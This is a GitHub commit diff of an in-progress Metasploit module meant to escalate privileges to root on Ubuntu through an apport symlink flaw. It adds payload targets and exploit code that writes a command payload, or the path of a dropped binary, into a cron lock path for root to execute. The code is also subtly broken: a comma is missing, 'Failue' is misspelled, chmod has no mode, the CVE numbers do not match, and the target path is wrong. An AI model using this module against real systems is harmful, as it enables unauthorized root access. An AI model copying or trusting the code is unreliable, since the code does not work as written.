Skip to content

Commit e68ae73

Browse files
committed
Add targets and write exploit files
1 parent c464cf5 commit e68ae73

File tree

1 file changed

+30
-9
lines changed

1 file changed

+30
-9
lines changed

modules/exploits/linux/local/cve_2020_9931_apport_symlink_privesc.rb

Lines changed: 30 additions & 9 deletions
Original file line numberDiff line numberDiff line change
@@ -30,20 +30,35 @@ def initialize(info = {})
3030
],
3131
'References' => [
3232
[
33-
'URL', 'https://nostarch.com/zero-day' # pg. 59
33+
'URL', 'https://nostarch.com/zero-day', # pg. 59
34+
'URL', 'https://ubuntu.com/security/CVE-2020-8831',
35+
'URL', 'https://nvd.nist.gov/vuln/detail/CVE-2020-8831'
3436
]
3537
],
3638
'Platform' => 'linux',
3739
'Targets' => [
3840
[
39-
41+
'Linux_Binary',
42+
{
43+
'Arch' => [ARCH_AARCH64, ARCH_X64]
44+
}
45+
],
46+
[
47+
'Linux_Command',
48+
{
49+
'Arch' => ARCH_CMD
50+
'Payload' =>
51+
{
52+
'BadChars' => "\x22\x27"
53+
}
54+
}
4055
]
4156
],
4257
'Payload' => {
4358
'BadChars' => "\x00"
4459
},
4560
'Privileged' => false,
46-
'DisclosureDate' => '',
61+
'DisclosureDate' => '2 April 2020',
4762
'DefaultTarget' => 0,
4863
'Notes' => {
4964
'Stability' => [CRASH_SAFE],
@@ -106,11 +121,17 @@ def exploit
106121
fail_with(Failue::NotFound, 'Exploit was unable to create a crontab owned by root.')
107122
end
108123

109-
110-
# Touching a file to this
111-
# verifying the permissions on the file (root ownership)
112-
# writing payloads
113-
# what type of payloads
124+
print_status 'Uploading payload'
125+
126+
# create the payload
127+
if target.arch.first == ARCH_CMD
128+
payload = payload.encoded
129+
write_file('/etc/crontab/lock', payload)
130+
else
131+
payload_file = '/tmp/' + Rex::Text.rand_text_alpha(rand(6..13))
132+
chmod(payload_file)
133+
write_file payload_file, generate_payload_exe
134+
write_file '/etc/crontab/lock', payload_file
135+
end
114136
end
115-
116137
end

0 commit comments

Comments
 (0)